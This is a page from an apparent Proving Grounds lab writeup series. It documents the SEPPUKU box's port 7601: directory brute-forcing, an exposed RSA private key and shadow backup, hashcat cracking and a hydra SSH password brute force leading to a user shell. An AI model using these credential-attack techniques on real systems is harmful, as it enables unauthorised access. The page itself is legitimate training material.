💣
Proving Grounds Writeups
  • kashz PG Writeups
  • PG boxes
    • ALGERNON
      • 4 :9998 IIS 10
      • 3 :80 IIS 10
      • 2 :21 ftp
      • 1 recon
    • APEX
      • 9 privesc
      • 8 box enum www-data
      • 7 :80 openemr exploit
      • 6 :3306 mysql
      • 5 :80 /filemanager 9.13.4
      • 4 :80 openemr
      • 3 :80 apex hospital
      • 2 :445 smb
      • 1 recon
    • AUTHBY
      • 6 privesc
      • 5 box enum apache
      • 4 :21 ftp admin
      • 3 :242 apache
      • 2 :21 ftp
      • 1 recon
    • BANZAI
      • 9 post enum
      • 8 mysql > privesc > root
      • 7 apache enum
      • 6 box enum www-data
      • 5 :8295 banzai
      • 4 :25 smtp
      • 3 :5432
      • 2 :21 ftp
      • 1 recon
    • BILLYBOSS
      • 7 privesc_2
      • 6 privesc_1
      • 5 box enum
      • 4 :8081
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • BOTTLENECK
      • 7 privesc > root
      • 6 www-data > bytevsbyte
      • 5 box enum PEAS
      • 4 box enum
      • 3 :80 exploit
      • 2 :80 bottleneck
      • 1 recon
    • BRATARINA
      • 4 :25 opensmtpd 6.6.2
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • CLAMAV
      • 4 :25 sendmail
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • CLYDE
      • 7 post enum
      • 6 box enum rabbitmq > privesc > root
      • 5 :4369 epmd
      • 4 :15672 rabbitmq
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • DAWN
      • 5 privesc
      • 4 box enum dawn
      • 3 cron exploit using smb
      • 2 :80
      • 1 recon
    • DIBBLE
      • 9 post enum
      • 8 box enum benjamin > privesc > root
      • 7 :3000 nodejs exploit
      • 6 :27017 mongodb
      • 5 :3000 node.js
      • 4 :80 drupal explore
      • 3 :80 drupal enum
      • 2 :21 ftp
      • 1 recon
    • FAIL
      • 5 post enum
      • 4 privesc fail2ban
      • 3 box enum fox
      • 2 :873 rsync
      • 1 recon
    • FUNBOXEASY
      • 4 post enum
      • 3 :22 ssh tony > root
      • 2 :80
      • 1 recon
    • FUNBOXEASYENUM
      • 4 privesc
      • 3 box enum www-data > privesc > root
      • 2 :80
      • 1 recon
    • G00G
      • 5 post enum
      • 4 privesc > root
      • 3 box enum fox
      • 2 :80
      • 1 recon
    • GAARA
      • 4 post enum
      • 3 gaara > root
      • 2 :80
      • 1 recon
    • HAWAT
      • 8 post enum
      • 6 :50080 nextcloud enum
      • 5 :50080 davtest
      • 4 :50080 nextcloud
      • 3 :30455 w3.css
      • 2 :17445 issue tracker
      • 1 recon
    • HELPDESK
      • 2 :8080 ManageEngine ServiceDesk Plus 7.6.0
      • 1 recon
    • HETEMIT
      • 10 post enum
      • 9 privesc > root
      • 8 box enum cmeeks
      • 7 :50000_2
      • 6 :50000_1
      • 5 :18000
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • HUNIT
      • 6 post enum
      • 5 privesc git-user git-repo > root
      • 4 fail privesc dademola-user git-repo
      • 3 box enum dademola
      • 2 :8080
      • 1 recon
    • HUTCH
      • 10 privesc_3 ldapsearch
      • 9 privesc_2 SharpLAPS
      • 8 privesc_1 PrintSpoofer
      • 7 box enum iis apppool
      • 6 :80 webdav
      • 5 :139 :445 smb
      • 4 ldap_2
      • 3 ldap_1
      • 2 :80 IIS 10.0
      • 1 recon
    • INTERNAL
      • 3 ms17-010
      • 2 :139 :445 smb
      • 1 recon
    • INTERFACE
      • 3 post enum
      • 2 :80
      • 1 recon
    • JACKO
      • 8 post enum
      • 7 privesc_2 PrintSpoofer
      • 6 privesc_1 PaperStream IP (TWAIN)
      • 5 box enum tony
      • 4 H2 JNIScriptEngine exploit > tony
      • 3 :8082
      • 2 :80
      • 1 recon
    • KEVIN
      • 3 :80 HP Power Manager 4.2
      • 2 :139 :445 smb
      • 1 recon
    • LAMPIAO
      • 7 post enum
      • 6 privesc KE
      • 5 box enum www-data
      • 4 drupalgeddon2 > www-data
      • 3 :1898 drupal 7
      • 2 :80
      • 1 recon
    • LOLY
      • 6 post enum
      • 5 privesc KE
      • 4 box enum www-data
      • 3 :80 wpscan
      • 2 :80
      • 1 recon
    • MEATHEAD
      • 7 privesc_2 Plantronics Hub 3.13.2
      • 6 privesc_1 PrintSpoofer
      • 5 box enum nt service\mssql$sqlexpress
      • 4 :1435 ms-sql 2017
      • 3 :1221 ftp
      • 2 :80 IIS 10.0
      • 1 recon
    • MEDJED
      • 8 privesc
      • 7 box enum
      • 6 :45332 :45443 QuizApp
      • 5 :44330 Barracuda Web-File-Server
      • 4 :44330 BarracudaDrive 6.5
      • 3 :33033
      • 2 :30021 ftp
      • 1 recon
    • METALLUS
      • 2 :40443 Application Manager
      • 1 recon
    • MONITORING
      • 4 privesc
      • 3 :80 box enum > www-data
      • 2 :80 nagios xi
      • 1 recon
    • MUDDY
      • 8 post enum
      • 7 privesc cronjob
      • 6 box enum www-data
      • 5 :80 webdav
      • 4 :8888 ladon framework
      • 3 :80 wpscan
      • 2 :80 muddy.ugc
      • 1 recon
    • MY-CMSMS
      • 6 privesc armour > root
      • 5 box enum www-data
      • 4 :80 cms ms login
      • 3 :3306 mysql
      • 2 :80 cms made simple
      • 1 recon
    • NAPPA
      • 7 post enum
      • 6 privesc
      • 5 box enum kathleen
      • 4 :8080
      • 3 :28080
      • 2 :21 ftp
      • 1 recon
    • NIBBLES
      • 5 post enum
      • 4 box enum > privesc > root
      • 3 :5437 postgresql
      • 2 :80
      • 1 recon
    • NICKEL
      • 6 :21 ftp > root
      • 5 box enum
      • 4 ssh ariah
      • 3 :8089 :33333 curl
      • 2 :8089 DevOps dashboard
      • 1 recon
    • NUKEM
      • 6 post enum
      • 5 privesc dosbox
      • 4 box enum http > commander
      • 3 :80 wordpress + exploit
      • 2 :80
      • 1 recon
    • PAYDAY
      • 6 patrick > privesc > root
      • 5 box enum_2
      • 4 box enum www-data
      • 3 :80 cs-cart internetshop
      • 2 :139 :445 smb
      • 1 recon
    • PEBBLES
      • 3 zoneminder sqlmap
      • 2 http
      • 1 recon
    • PELICAN
      • 7 post enum
      • 6 privesc > root
      • 5 box enum charles
      • 4 :8080 :8081
      • 3 :631 cups 2.2
      • 2 :139 :445 smb
      • 1 recon
    • PEPPO
      • 9 post enum
      • 8 privesc docker socket > root
      • 7 box enum eleanor
      • 6 :22 ssh eleanor
      • 5 docker enum postgres
      • 4 :5432 postgres
      • 3 :8080
      • 2 :113 ident
      • 1 recon
    • PHOTOGRAPHER
      • 6 post enum
      • 5 box enum > privesc
      • 4 :8000 koken cms
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • POSTFISH
      • 10 post enum
      • 9 privesc > root
      • 8 exploit /etc/postfix/disclaimer
      • 7 box enum
      • 6 :22 ssh
      • 5 sending mail to phish
      • 4 :110 pop3
      • 3 :25 smtp
      • 2 :80
      • 1 recon
    • POTATO
      • 6 post enum
      • 5 :22 ssh, box enum
      • 4 :80 strcmp php
      • 3 :80
      • 2 :2112 ftp
      • 1 recon
    • QUARTERJACK
      • 8 post enum
      • 7 privesc > root
      • 6 box enum apache
      • 5 :8081 rconfig
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • SEPPUKU
      • 10 privesc
      • 9 ssh tanto > privesc > root
      • 8 box enum samurai
      • 7 box enum seppuku
      • 6 :7601
      • 5 :7080
      • 4 :8088
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • SHENZI
      • 7 post enum
      • 6 privesc .msi
      • 5 box enum
      • 4 :80 wordpress > shenzi
      • 3 :80 xampp
      • 2 :139 :445 smb
      • 1 recon
    • SIROL
      • 5 post enum
      • 4 docker breakout > root
      • 3 :5601 kibana 6.5.0
      • 2 :80 php calculator
      • 1 recon
    • SLORT
      • 6 privesc
      • 5 box enum
      • 4 :4443 xampp
      • 3 :8080 xampp
      • 2 :21 ftp
      • 1 recon
    • SNOOKUMS
      • 8 post enum
      • 7 privesc
      • 6 box enum michael
      • 5 box enum apache
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • SORCERER
      • 7 post enum
      • 6 privesc > root
      • 5 box enum max
      • 4 :7742
      • 3 :8080 tomcat 7
      • 2 :80
      • 1 recon
    • SOSIMPLE
      • 6 ssh max > steven > root
      • 5 box enum_2
      • 4 box enum_1 www-data
      • 3 :80 wordpress
      • 2 :80
      • 1 recon
    • SUNSETMIDNIGHT
      • 7 privesc
      • 6 box enum www-data
      • 5 :80 wordpress admin
      • 4 :80 simply poll plugin sqli
      • 3 :80 wordpress
      • 2 :80
      • 1 recon
      • 0 /etc/hosts
    • SYBARIS
      • 7 post enum
      • 6 privesc cron
      • 5 box enum pablo
      • 4 :6379 redis
      • 3 :80 sybaris
      • 2 :21 ftp
      • 1 recon
    • TRE
      • 5 :22 ssh > privesc > root
      • 4 box enum www-data
      • 3 :80 mantis bug tracker
      • 2 :80
      • 1 recon
    • TWIGGY
      • 5 post enum
      • 4 :4506 SaltStack 3000.1
      • 3 :8000
      • 2 :80 mezzanine
      • 1 recon
    • UC404
      • 5 post enum
      • 4 box enum brian > privesc > root
      • 3 box enum www-data
      • 2 :80 adminlte
      • 1 recon
    • UT99
      • 8 privesc_3 wlbsctrl.dll hijack
      • 7 fail privesc_2 InspIRCd
      • 6 privesc_1 FoxitCloudUpdateService
      • 5 box enum daisy
      • 4 :7778 unreal tournament
      • 3 :6667 irc via pidgin
      • 2: 80
      • 1 recon
    • WALLA
      • 7 post enum
      • 6 privesc
      • 5 box enum www-data
      • 4 :8901 lighttpd 1.4.53 > raspAP
      • 3 :25 smtp
      • 2 :23 telnet
      • 1 recon
    • WEBCAL
      • 6 privesc KE
      • 5 box enum www-data
      • 4 :53 dns
      • 3 :80 webcalendar 1.2.3
      • 2 :21 ftp
      • 1 recon
    • WOMBO
      • 6 post enum
      • 5 :6379 redis
      • 4 :27017 mongo
      • 3 :8080 nodebb
      • 2 :80
      • 1 recon
    • XPOSEDAPI
      • 3 box enum clumsyadmin > root
      • 2 :13337 remote software management api
      • 1 recon
    • Y0USEF
      • 5 post enum
      • 4 privesc
      • 3 box enum
      • 2 :80
      • 1 recon
    • ZENPHOTO
      • 9 post enum
      • 8 privesc_2 full-nelson
      • 7 privesc_1 rds
      • 6 privesc check
      • 5 box enum www-data
      • 4 :80 zenphoto 1.4.1.4
      • 3 :80
      • 2 :23 cups 1.4
      • 1 recon
    • ZINO
      • 6 post enum
      • 5 privesc > root
      • 4 box enum www-data
      • 3 :8003
      • 2 :139 :445 smb
      • 1 recon
Powered by GitBook
On this page
  1. PG boxes
  2. SEPPUKU

6 :7601

http://192.168.131.90:7601/
Landing Page with same image as 8088

$ gobuster dir -u http://192.168.131.90:7601 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 80
===============================================================
/index.html           (Status: 200) [Size: 171]
/b                    (Status: 301) [Size: 319] [--> http://192.168.131.90:7601/b/]
/c                    (Status: 301) [Size: 319] [--> http://192.168.131.90:7601/c/]
/a                    (Status: 301) [Size: 319] [--> http://192.168.131.90:7601/a/]
/t                    (Status: 301) [Size: 319] [--> http://192.168.131.90:7601/t/]
/d                    (Status: 301) [Size: 319] [--> http://192.168.131.90:7601/d/]
/r                    (Status: 301) [Size: 319] [--> http://192.168.131.90:7601/r/]
/f                    (Status: 301) [Size: 319] [--> http://192.168.131.90:7601/f/]
/e                    (Status: 301) [Size: 319] [--> http://192.168.131.90:7601/e/]
/h                    (Status: 301) [Size: 319] [--> http://192.168.131.90:7601/h/]
/w                    (Status: 301) [Size: 319] [--> http://192.168.131.90:7601/w/]
/q                    (Status: 301) [Size: 319] [--> http://192.168.131.90:7601/q/]
/database             (Status: 301) [Size: 326] [--> http://192.168.131.90:7601/database/]
/production           (Status: 301) [Size: 328] [--> http://192.168.131.90:7601/production/]
/keys                 (Status: 301) [Size: 322] [--> http://192.168.131.90:7601/keys/]
/secret               (Status: 301) [Size: 324] [--> http://192.168.131.90:7601/secret/]
/stg                  (Status: 301) [Size: 321] [--> http://192.168.131.90:7601/stg/]

# most dirs are just empty

http://192.168.131.90:7601/keys/
Name	Last modified	Size	Description
private	2020-05-13 05:28 	1.6K	 
private.bak	2020-05-13 05:28 	1.6K	 

# both contain same data
http://192.168.131.90:7601/keys/private
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAypJlwjKXf0F4YvL2gfwvoUuvB7fuGMMfCe41gLCsTsleOUy2
CJX+oNwVVKPpl6TYI4nXPGbiwfGzoxm0FZa7D9yr83OgwuvMMp83OkVcwL9v+x7a
tK8AAVZ0NjvOPGkvEhB2rPS2mKg1xRKXCM7pA0KSOoDbk9coOpadjg4G0f1YPWrw
p6iLfIErfY2+5hS7QyTQpuRmHuR4eKLF1NFRp8gYuNCVtr0n2Uu6hWuI7RWBGQZJ
Joj8LKjfRRYmKGpyqiGTdRy+8yCyAuT55shuCzXuc+/3HE2jACOD8+pSPKjwxzm4
fuaSfBTUkHfyhiSKIkop2YfIDLKRPM8dGn5zuQIDAQABAoIBADM+s7Vb3Q1ZP54w
foHFjTsNjVqzge0Lt1doxmomx4Aq2sY+DLLBVyfUZSUDTj2JexAKd8OU93o+rcXt
46uudOX/WhR9RMbqpb6MnokEMQGlrCtn08Xvm127RCzQFk0cAsdcGNmKEoMt0mRn
XoPg6/tiJOHd5S5SOKARqAveqoUGUYI3xgsiRpj8CCRIDUgHi9J0++qUeauVw3m3
lvyTnUTw0uf5+sRkI173CUY+ygJapGM7Lg59xzcjEq5H4so0IztQo3o/pOIfeS6W
bqIpY7D63YBGLgpi9JcN/d2bSfafkfhcrAcjPjRXwEFPmYjMbsTBOKcTtCSDVo6/
ho6fTl0CgYEA9F1uIkqxFKIMt2/uK4/1gPOXy/1cjxcsFoah0Ql7d0gj26H6AgXk
nPncIoO1kojPnB+TUy4qz+Bd7teDbkHSaWNJYIVJZQbvskstwgL4+XamiWrJA/Jp
h7y0I0zRxCMBj5yhBNrp6P+f8vtVMpjbKV17jfe6aakfyuayPugHHh8CgYEA1DeM
4lR/+/fUbxtws+aTx8h9TwisYq38D39KNsWkynnb+9pnLCbVbVETtv4sfD/aQfah
R7CxOG+mD4Vryjpk/wwzZeUDzcQpiTx4RsgP6MkFU8knORKfBdimaUpiasWlNWgy
caXR/iA6EmA4jht8vf/+UOUV8GXV9VqDIWUhgycCgYEAvJaGcqyWMUhG7CLT+oal
f5l/Iw0rq7rEabYJmBvrT0k7czt0iK8nmgYy3+gp7ybqoqCzwFQ28itEExn78tGV
o4Pek0EKPY+22TCv5bUJlOz+5bql3AfvbbQyibO1h9tETyMgGXEhaJIvTQSu4deZ
/DiLLCttkDHXuW2FTosfQx0CgYEAkhGOSjapRRBHSxaTE3Cw5UFNZvnsVZu1tCEE
PwD5NVh9HzQr8YrlOnIk5L68deUpYF/WkNbAlLzcizBlifN5kseeFRN188qCYHCb
xPRtZuf+X7ZD5he4FzkRCcXmSeGynjkTB4CAMq+R6RYLt1yaFtk9/gZAfJBLna5o
NbM7Rt8CgYA5oPRfIpKZ5G9LJEAsBUONgBsrpXs+816ZEvBGsqPs/NPhhZMFetKm
RXxYAiEUudMsahP4Woeuxy8kWfM2J2ltwC/HRFuKnKfsHBhsn/FilspYfrafr985
tFnL/K9Z8le1saEGjwCu6zKto7CaFjj2D4Y9ji0sHGBO+tVbtmU/Jg==
-----END RSA PRIVATE KEY-----

http://192.168.131.90:7601/secret/
[ICO]	Name	Last modified	Size	Description
[ ]	hostname	2020-05-13 03:41 	8 	 
[IMG]	jack.jpg	2018-09-12 03:49 	58K	 
[ ]	passwd.bak	2020-05-13 03:47 	2.7K	 
[ ]	password.lst	2020-05-13 03:59 	672 	 
[ ]	shadow.bak	2020-05-13 03:48 	1.4K	 

http://192.168.131.90:7601/secret/hostname
seppuku

http://192.168.131.90:7601/secret/password.lst
contains a password list

$ curl http://192.168.131.90:7601/secret/passwd.bak
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
cups-pk-helper:x:111:118:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
rabbit-hole:x:1001:1001:,,,:/home/rabbit-hole:/bin/bash

$ curl http://192.168.131.90:7601/secret/shadow.bak
r@bbit-hole:$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt/HPTYz3Rj7m4bRzovjHxX4WmIMO7rz4j/auR/V.yCPy2MKBLBahX29Y3DWkR6oT..:18395:0:99999:7:::

$ hashcat -m 1800  hash /usr/share/wordlists/rockyou.txt --show
$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt/HPTYz3Rj7m4bRzovjHxX4WmIMO7rz4j/auR/V.yCPy2MKBLBahX29Y3DWkR6oT..:a1b2c3

rabbit-hole & r@bbit-hole:
# ssh fails with pass a1b2c3
# ssh via private key also fails
# password.lst brute fails

Trying user: seppuku maybe?
# ssh fails with pass a1b2c3
# ssh via private key also fails
$ hydra -l seppuku -P password.lst ssh://192.168.131.90 -t 4 -s 22 -v

[22][ssh] host: 192.168.131.90   login: seppuku   password: eeyoree

$ ssh seppuku@192.168.131.90

seppuku@seppuku:~$ whoami;id;hostname;uname -a
seppuku
uid=1000(seppuku) gid=1000(seppuku) groups=1000(seppuku),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
seppuku
Linux seppuku 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
Previous7 box enum seppukuNext5 :7080

Last updated 3 years ago